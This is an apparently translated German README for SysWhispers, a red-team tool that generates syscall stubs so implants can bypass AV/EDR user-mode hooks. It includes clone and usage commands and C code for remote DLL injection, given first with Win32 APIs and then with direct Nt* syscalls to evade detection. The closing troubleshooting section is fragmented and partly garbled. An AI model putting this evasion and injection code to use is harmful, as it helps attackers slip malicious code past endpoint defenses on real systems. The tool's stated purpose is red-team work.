
AV/EDR-Umgehung durch direkte Systemaufrufe.
SysWhispers hilft bei der Umgehung von Sicherheitsmaßnahmen, indem es Header/ASM-Dateien generiert, die von Implantaten verwendet werden können, um direkte Systemaufrufe durchzuführen.
Alle Kern-Syscalls werden von Windows XP bis Windows 10 19042 (20H2) unterstützt. Beispiele für generierte Dateien finden Sie im Ordner example-output/.
Verschiedene Sicherheitsprodukte platzieren Hooks in User-Mode-APIs, um den Ausführungsfluss zu ihren Engines umzuleiten und verdächtiges Verhalten zu erkennen. Die Funktionen in ntdll.dll, die die Syscalls ausführen, bestehen aus nur wenigen Assembler-Anweisungen. Durch ihre Neuimplementierung im eigenen Implantat können die Auslösung dieser Hooks umgangen werden. Diese Technik wurde von @Cn33liz populär gemacht, und sein Blogbeitrag enthält weitere technische Details, die lesenswert sind.
SysWhispers bietet Red Teamern die Möglichkeit, Header/ASM-Paare für jeden Systemaufruf im Kernel-Kernabbild (ntoskrnl.exe) für jede Windows-Version ab XP zu generieren. Die Header enthalten auch die notwendigen Typdefinitionen.
Der Hauptunterschied in der Implementierung zwischen diesem und dem Dumpert POC besteht darin, dass hier nicht RtlGetVersion aufgerufen wird, um die OS-Version abzufragen, sondern dies im Assembler durch direktes Abfragen des PEB erfolgt. Der Vorteil ist, dass eine Funktion aufgerufen werden kann, die mehrere Windows-Versionen unterstützt, anstatt mehrere Funktionen aufzurufen, die jeweils eine Version unterstützen.
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: Why call the kernel when you can whisper?
Common functions selected.
Complete! Files written to:
syscom.asm
syscom.h
CreateRemoteThread-DLL-Injektionpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Die Verwendung des Schalters --preset common erzeugt ein Header/ASM-Paar mit den folgenden Funktionen:
win32k.sys) werden nicht unterstützt.ModuleNotFoundError im Python-Skript.
pip3 install -r requirements.txt installiert sind.syscalls.h bereits definiert wurden.
--preset all ist selten notwendig).syscalls.h entfernt werden.Dieses Skript wurde von @Jackson_T entwickelt, baut aber auf der Arbeit vieler anderer auf:
Besonderer Dank an @Dcept905 für Tests und Vorschläge.
Dieses Projekt ist unter der Apache License 2.0 lizenziert.